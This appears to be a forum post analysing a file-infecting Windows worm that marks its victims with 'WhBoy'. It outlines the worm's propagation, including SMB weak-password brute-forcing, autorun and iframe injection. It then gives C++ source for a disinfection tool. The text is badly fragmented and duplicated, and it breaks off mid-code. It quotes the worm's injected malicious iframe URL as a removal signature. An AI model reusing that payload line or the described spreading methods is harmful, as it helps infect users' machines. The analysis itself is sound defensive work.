首先判断自己是不是被感染文件病毒感染文件时会将文件结尾的1作为标记
先判断自己的执行路径是否位于%SYSTEMROOT%\\System32\\drivers
中
首先是一个函数,<u>猜测是通过当前IP地址和掩码来构造一个IP迭代器</u>
连上了以后会构造一个带\\
的IP地址传参进一个函数
这个函数内设置了5个计时器……分别有不同的作用,但是其中又有很多相同的。
其中会冒充QQ访问解码出来的URL后读取内容并进行了一个拼接
根据代码猜测文件格式应该是一个类似链表的东西,可以通过更改文件来更改下载的次数/r/n后应该是剩余的文件个数
感觉可能是用于避免重复感染
访问的几个URL为
进程结束用的taskkill
杀毒用的MD5
graph TD
A[加密字符串解密并对比]
-
-
>B[自我复制至Drivers目录并执行]
B
-
-
> D[判断是否是被感染文件启动的]
D[病毒传播]
-
-
>E[本地传播]
D
-
-
>F[可移动介质传播]
D
-
-
>G[网络传播]
E
-
-
>
file
{是否文件}
file
-
-
>|可执行文件|PE[文件附加]
file
-
-
>|网页文件|WEB[添加iframe控件]
F
-
-
> disk[添加自动播放配置]
G
-
-
> net[使用多个线程]
netThread[网络传播线程]
-
-
> connect[弱密码爆破
139
/
445
端口]
connect
-
-
> traverse[遍历共享资源]
traverse
-
-
> copy[自我复制远程目录
/
尝试遍历感染]
copy
-
-
> 使用远程创建计划任务运行病毒
disk
-
-
> Z[下载文件和维持控制]
net
-
-
> Z
PE
-
-
> Z
WEB
-
-
> Z
Z
-
-
> 操作注册表以自启动和系统保护
-
-
> 创建线程下载并运行文件
-
-
> 关闭所有盘的共享属性
-
-
> 对特定的安全软件,破坏其注册表键值和服务
-
-
> 访问几个网站,可能意图DDOS
graph TD
A[加密字符串解密并对比]
-
-
>B[自我复制至Drivers目录并执行]
B
-
-
> D[判断是否是被感染文件启动的]
D[病毒传播]
-
-
>E[本地传播]
D
-
-
>F[可移动介质传播]
D
-
-
>G[网络传播]
E
-
-
>
file
{是否文件}
file
-
-
>|可执行文件|PE[文件附加]
file
-
-
>|网页文件|WEB[添加iframe控件]
F
-
-
> disk[添加自动播放配置]
G
-
-
> net[使用多个线程]
netThread[网络传播线程]
-
-
> connect[弱密码爆破
139
/
445
端口]
connect
-
-
> traverse[遍历共享资源]
traverse
-
-
> copy[自我复制远程目录
/
尝试遍历感染]
copy
-
-
> 使用远程创建计划任务运行病毒
disk
-
-
> Z[下载文件和维持控制]
net
-
-
> Z
PE
-
-
> Z
WEB
-
-
> Z
Z
-
-
> 操作注册表以自启动和系统保护
-
-
> 创建线程下载并运行文件
-
-
> 关闭所有盘的共享属性
-
-
> 对特定的安全软件,破坏其注册表键值和服务
-
-
> 访问几个网站,可能意图DDOS
http:
/
/
www.tom.com
http:
/
/
www.
163.com
http:
/
/
www.sohu.com
http:
/
/
www.yahoo.com
http:
/
/
www.google.com
http:
/
/
www.tom.com
http:
/
/
www.
163.com
http:
/
/
www.sohu.com
http:
/
/
www.yahoo.com
http:
/
/
www.google.com
CStringList repairFileList;
CStringList virusFileList;
/
/
-
-
-
-
md5摘要哈希
-
-
-
-
/
/
void md5(char
*
data,
int
dataSize, CString& encodedHexStr)
{
/
/
调用md5哈希
unsigned char mdStr[
33
]
=
{
0
};
MD5((const unsigned char
*
)data, dataSize, mdStr);
/
/
哈希后的字符串
/
/
encodedStr
=
CString((const char
*
)mdStr);
/
/
哈希后的十六进制串
32
字节
char buf[
65
]
=
{
0
};
char tmp[
3
]
=
{
0
};
for
(
int
i
=
0
; i <
32
; i
+
+
)
{
sprintf_s(tmp,
3
,
"%02x"
, mdStr[i]);
strcat_s(buf,
65
, tmp);
}
buf[
32
]
=
'\0'
;
/
/
后面都是
0
,从
32
字节截断
encodedHexStr
=
CString(buf);
}
int
needRepair(CString filename) {
const CHAR
*
needRepairPE[]
=
{ _T(
"EXE"
), _T(
"SCR"
), _T(
"PIF"
), _T(
"COM"
) };
const CHAR
*
needRepairWEB[]
=
{ _T(
"HTM"
),_T(
"HTML"
),_T(
"PHP"
),_T(
"JSP"
),_T(
"ASPX"
) };
int
pos
=
filename.ReverseFind(L
'.'
);
CString
type
=
filename.Mid(pos
+
1
, filename.GetLength()
-
pos
-
1
);
type
=
type
.MakeUpper();
for
(size_t i
=
0
; i < _countof(needRepairPE); i
+
+
)
{
if
(
type
=
=
needRepairPE[i])
return
PE_FILE;
else
if
(
type
=
=
needRepairWEB[i])
return
WEB_FILE;
}
if
(
type
=
=
needRepairWEB[
4
])
return
WEB_FILE;
return
NOPE;
}
bool
determineVirusAndDel(CFile&
file
,
int
fileSize) {
if
(fileSize <
1
)
return
false;
/
/
MD5判断是否是病毒文件
char
*
fileBuff
=
new char[fileSize];
file
.Read(fileBuff, fileSize);
CString virusMd5(
"5139678039712d35987ecdafc4dd8ecc"
);
CString outMd5
=
CString();
md5(fileBuff, fileSize, outMd5);
if
(outMd5
=
=
virusMd5) {
_tprintf(_T(
"[ × 删除病毒] "
));
CString path
=
file
.GetFilePath();
file
.Close();
virusFileList.AddTail(
file
.GetFileName());
CFile::Remove(path);
delete[] fileBuff;
return
true;
}
else
{
delete[] fileBuff;
return
false;
}
}
int
rMemSearch(char
*
buff,
int
buffSize,const char
*
str
,
int
strSize) {
for
(size_t i
=
buffSize; i >
0
; i
-
-
)
{
char
*
findBuff
=
buff
+
i;
if
(!memcmp(findBuff,
str
, strSize)) {
return
i;
}
}
return
-
1
;
}
bool
determineboshitAndDel(CFile&
file
) {
const CHAR
*
needRepairPE[]
=
{ _T(
"Desktop_.ini"
), _T(
"autorun.inf"
)};
for
(size_t i
=
0
; i < _countof(needRepairPE); i
+
+
)
{
if
(
file
.GetFileName()
=
=
needRepairPE[i]) {
file
.Close();
CFile::Remove(
file
.GetFilePath());
_tprintf(_T(
"[ × 删除病毒释放文件] "
));
return
true;
}
}
return
false;
}
void traversePath(const TCHAR
*
dir
) {
TCHAR path[MAX_PATH]
=
{
0
};
_stprintf_s(path, MAX_PATH, _T(
"%s\\*"
),
dir
);
HANDLE hFind
=
INVALID_HANDLE_VALUE;
WIN32_FIND_DATA findData
=
{
0
};
hFind
=
FindFirstFile(path, &findData);
if
(hFind
=
=
INVALID_HANDLE_VALUE) {
_tprintf(_T(
"[没有文件]\n"
));
return
;
}
do {
/
/
如果是当前目录和上层目录,不能继续递归.
if
(_tcscmp(findData.cFileName, _T(
"."
))
=
=
0
|| _tcscmp(findData.cFileName, _T(
".."
))
=
=
0
)
{
continue
;
}
_stprintf_s(path, MAX_PATH, _T(
"%s\\%s"
),
dir
,
findData.cFileName);
if
(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
_tprintf(_T(
"[目录] "
));
/
/
递归遍历
traversePath(path);
}
else
{
CFile
file
;
if
(!
file
.
Open
(path, CFile::modeReadWrite))
continue
;
DWORD fileSize
=
file
.GetLength();
if
(fileSize >
0xA00000
)
continue
;
else
if
(fileSize <
1
)
continue
;
/
/
判断是否是病毒吐出的指定文件并删除
if
(determineboshitAndDel(
file
)) {
_tprintf(_T(
"%s\n"
), path);
continue
;
}
/
/
判断是否病毒并直接杀掉
if
(determineVirusAndDel(
file
, fileSize)) {
_tprintf(_T(
"%s\n"
), path);
continue
;
}
int
fileType
=
needRepair(findData.cFileName);
switch (fileType)
{
case PE_FILE: {
/
/
读取最后一个字节
file
.Seek(
-
1
, CFile::end);
char lastBit;
file
.Read(&lastBit,
1
);
if
(lastBit
=
=
1
) {
/
/
读取文件尾内容
file
.Seek(
-
MAX_PATH, CFile::end);
char
*
fileEnd
=
new char[MAX_PATH]{
0
};
UINT readed
=
file
.Read(fileEnd, MAX_PATH);
int
signPos
=
rMemSearch(fileEnd, MAX_PATH,
"WhBoy"
,
5
);
if
(signPos !
=
-
1
) {
/
/
找到WhBoy说明的确被感染
int
fileNamePos
=
signPos
+
5
;
int
number2Pos
=
rMemSearch(fileEnd, MAX_PATH,
"\2"
,
1
);
int
sizePos
=
number2Pos
+
1
;
/
/
获取大小
int
sourceFileSize
=
_ttoi(fileEnd
+
sizePos);
/
/
获取文件
char
*
sourceFile
=
new char[fileSize]{
0
};
file
.Seek(
0
, CFile::begin);
file
.Read(sourceFile, fileSize);
/
/
写入文件
char
*
end
=
sourceFile
+
fileSize;
file
.SetLength(sourceFileSize);
file
.Seek(
0
, CFile::begin);
file
.Write(((end
-
MAX_PATH)
+
signPos)
-
sourceFileSize
-
1
, sourceFileSize);
repairFileList.AddTail(
file
.GetFileName());
delete[] sourceFile;
_tprintf(_T(
"[ √ 修复被感染文件] "
));
}
delete[] fileEnd;
}
}
break
;
case WEB_FILE: {
char
*
fileBuff
=
new char[fileSize];
file
.Seek(
0
, CFile::begin);
file
.Read(fileBuff, fileSize);
char iframe[]
=
{ _T(
"<iframe src=http://www.ac86.cn/66/index.htm width=\"0\" height=\"0\"></iframe>"
) };
int
iframeSize
=
_countof(iframe)
-
1
;
int
pos
=
rMemSearch(fileBuff, fileSize, iframe, iframeSize);
if
(pos !
=
-
1
) {
file
.Write(fileBuff, pos);
file
.SetLength(pos);
_tprintf(_T(
"[ √ 修复WEB文件] "
));
}
delete[] fileBuff;
}
break
;
case NOPE: {
_tprintf(_T(
"[〇未感染文件] "
));
}
break
;
}
file
.Close();
}
_tprintf(_T(
"%s\n"
), path);
}
while
(FindNextFile(hFind, &findData));
}
void traverseAllDrives() {
for
(char a
=
'A'
; a <
=
'Z'
; a
+
+
) {
UINT driveType
=
0
;
CHAR rootPath[MAX_PATH]
=
{
0
};
sprintf_s(rootPath,MAX_PATH,_T(
"%c:"
), a);
driveType
=
GetDriveType(rootPath);
if
(driveType !
=
DRIVE_NO_ROOT_DIR)
/
/
DRIVE_NO_ROOT_DIR: 路径无效
{
traversePath(rootPath);
}
}
/
/
打印修复文件和删除文件列表
CString fileName;
POSITION rPos;
rPos
=
virusFileList.GetHeadPosition();
while
(rPos !
=
NULL)
{
fileName
=
virusFileList.GetNext(rPos);
_tprintf(_T(
"删除病毒文件:%s\n"
), fileName.GetBuffer());
}
rPos
=
repairFileList.GetHeadPosition();
while
(rPos !
=
NULL)
{
fileName
=
repairFileList.GetNext(rPos);
_tprintf(_T(
"修复文件:%s\n"
), fileName.GetBuffer());
}
}
bool
delAutoRunAndProtect() {
HKEY hKey;
bool
result
=
true;
if
(RegOpenKey(HKEY_CURRENT_USER,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
, &hKey)
=
=
ERROR_SUCCESS)
{
RegDeleteValue(hKey,
"svcshare"
);
RegCloseKey(hKey);
}
else
result
=
false;
if
(RegOpenKey(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL"
, &hKey)
=
=
ERROR_SUCCESS)
{
int
value
=
1
;
RegSetKeyValue(hKey,
"CheckedValue"
,
0
, REG_DWORD, &value,
4
);
RegCloseKey(hKey);
}
else
result
=
false;
return
result;
}
int
main()
{
/
/
setlocale(LC_ALL,
"Chinese"
);
system(
"mode con cols=150 lines=50"
);
if
(!delAutoRunAndProtect()) {
_tprintf_s(
"删除病毒注册表失败,请手动清理注册表项:\n"
);
_tprintf_s(
"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run 中的未知文件\n"
);
_tprintf_s(
"更改HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL\\CheckedValue 为一\n"
);
}
/
/
比较暴力的关闭进程
system(
"taskkill /f /t /im spo0lsv.exe"
);
traverseAllDrives();
/
/
traversePath(
"C:\\Windows\\System32\\drivers"
);
system(
"pause"
);
}
CStringList repairFileList;
CStringList virusFileList;
/
/
-
-
-
-
md5摘要哈希
-
-
-
-
/
/
void md5(char
*
data,
int
dataSize, CString& encodedHexStr)
{
/
/
调用md5哈希
unsigned char mdStr[
33
]
=
{
0
};
MD5((const unsigned char
*
)data, dataSize, mdStr);
/
/
哈希后的字符串
/
/
encodedStr
=
CString((const char
*
)mdStr);
/
/
哈希后的十六进制串
32
字节
char buf[
65
]
=
{
0
};
char tmp[
3
]
=
{
0
};
for
(
int
i
=
0
; i <
32
; i
+
+
)
{
sprintf_s(tmp,
3
,
"%02x"
, mdStr[i]);
strcat_s(buf,
65
, tmp);
}
buf[
32
]
=
'\0'
;
/
/
后面都是
0
,从
32
字节截断
encodedHexStr
=
CString(buf);
}
int
needRepair(CString filename) {
const CHAR
*
needRepairPE[]
=
{ _T(
"EXE"
), _T(
"SCR"
), _T(
"PIF"
), _T(
"COM"
) };
const CHAR
*
needRepairWEB[]
=
{ _T(
"HTM"
),_T(
"HTML"
),_T(
"PHP"
),_T(
"JSP"
),_T(
"ASPX"
) };
int
pos
=
filename.ReverseFind(L
'.'
);
CString
type
=
filename.Mid(pos
+
1
, filename.GetLength()
-
pos
-
1
);
type
=
type
.MakeUpper();
for
(size_t i
=
0
; i < _countof(needRepairPE); i
+
+
)
{
if
(
type
=
=
needRepairPE[i])
return
PE_FILE;
else
if
(
type
=
=
needRepairWEB[i])
return
WEB_FILE;
}
if
(
type
=
=
needRepairWEB[
4
])
return
WEB_FILE;
return
NOPE;
}
bool
determineVirusAndDel(CFile&
file
,
int
fileSize) {
if
(fileSize <
1
)
return
false;
/
/
MD5判断是否是病毒文件
char
*
fileBuff
=
new char[fileSize];
file
.Read(fileBuff, fileSize);
CString virusMd5(
"5139678039712d35987ecdafc4dd8ecc"
);
CString outMd5
=
CString();
md5(fileBuff, fileSize, outMd5);
if
(outMd5
=
=
virusMd5) {
_tprintf(_T(
"[ × 删除病毒] "
));
CString path
=
file
.GetFilePath();
file
.Close();
virusFileList.AddTail(
file
.GetFileName());
CFile::Remove(path);
delete[] fileBuff;
return
true;
}
else
{
delete[] fileBuff;
return
false;
}
}
int
rMemSearch(char
*
buff,
int
buffSize,const char
*
str
,
int
strSize) {
for
(size_t i
=
buffSize; i >
0
; i
-
-
)
{
char
*
findBuff
=
buff
+
i;
if
(!memcmp(findBuff,
str
, strSize)) {
return
i;
}
}
return
-
1
;
}
bool
determineboshitAndDel(CFile&
file
) {
const CHAR
*
needRepairPE[]
=
{ _T(
"Desktop_.ini"
), _T(
"autorun.inf"
)};
for
(size_t i
=
0
; i < _countof(needRepairPE); i
+
+
)
{
if
(
file
.GetFileName()
=
=
needRepairPE[i]) {
file
.Close();
CFile::Remove(
file
.GetFilePath());
_tprintf(_T(
"[ × 删除病毒释放文件] "
));
return
true;
}
}
return
false;
}
void traversePath(const TCHAR
*
dir
) {
TCHAR path[MAX_PATH]
=
{
0
};
_stprintf_s(path, MAX_PATH, _T(
"%s\\*"
),
dir
);
HANDLE hFind
=
INVALID_HANDLE_VALUE;
WIN32_FIND_DATA findData
=
{
0
};
hFind
=
FindFirstFile(path, &findData);
if
(hFind
=
=
INVALID_HANDLE_VALUE) {
_tprintf(_T(
"[没有文件]\n"
));
return
;
}
do {
/
/
如果是当前目录和上层目录,不能继续递归.
if
(_tcscmp(findData.cFileName, _T(
"."
))
=
=
0
|| _tcscmp(findData.cFileName, _T(
".."
))
=
=
0
)
{
continue
;
}
_stprintf_s(path, MAX_PATH, _T(
"%s\\%s"
),
dir
,
findData.cFileName);
if
(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
_tprintf(_T(
"[目录] "
));
/
/
递归遍历
traversePath(path);
}
else
{
CFile
file
;
if
(!
file
.
Open
(path, CFile::modeReadWrite))
continue
;
DWORD fileSize
=
file
.GetLength();
if
(fileSize >
0xA00000
)
continue
;
else
if
(fileSize <
1
)
continue
;
/
/
判断是否是病毒吐出的指定文件并删除
if
(determineboshitAndDel(
file
)) {
_tprintf(_T(
"%s\n"
), path);
continue
;
}
/
/
判断是否病毒并直接杀掉
if
(determineVirusAndDel(
file
, fileSize)) {
_tprintf(_T(
"%s\n"
), path);
continue
;
}
int
fileType
=
needRepair(findData.cFileName);
switch (fileType)
{
case PE_FILE: {
/
/
读取最后一个字节
file
.Seek(
-
1
, CFile::end);
char lastBit;
file
.Read(&lastBit,
1
);
if
(lastBit
=
=
1
) {
/
/
读取文件尾内容
file
.Seek(
-
MAX_PATH, CFile::end);
char
*
fileEnd
=
new char[MAX_PATH]{
0
};
UINT readed
=
file
.Read(fileEnd, MAX_PATH);
int
signPos
=
rMemSearch(fileEnd, MAX_PATH,
"WhBoy"
,
5
);
if
(signPos !
=
-
1
) {
/
/
找到WhBoy说明的确被感染
int
fileNamePos
=
signPos
+
5
;
int
number2Pos
=
rMemSearch(fileEnd, MAX_PATH,
"\2"
,
1
);
int
sizePos
=
number2Pos
+
1
;
/
/
获取大小
int
sourceFileSize
=
_ttoi(fileEnd
+
sizePos);
/
/
获取文件
char
*
sourceFile
=
new char[fileSize]{
0
};
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-2-12 14:21
被kanxue编辑
,原因: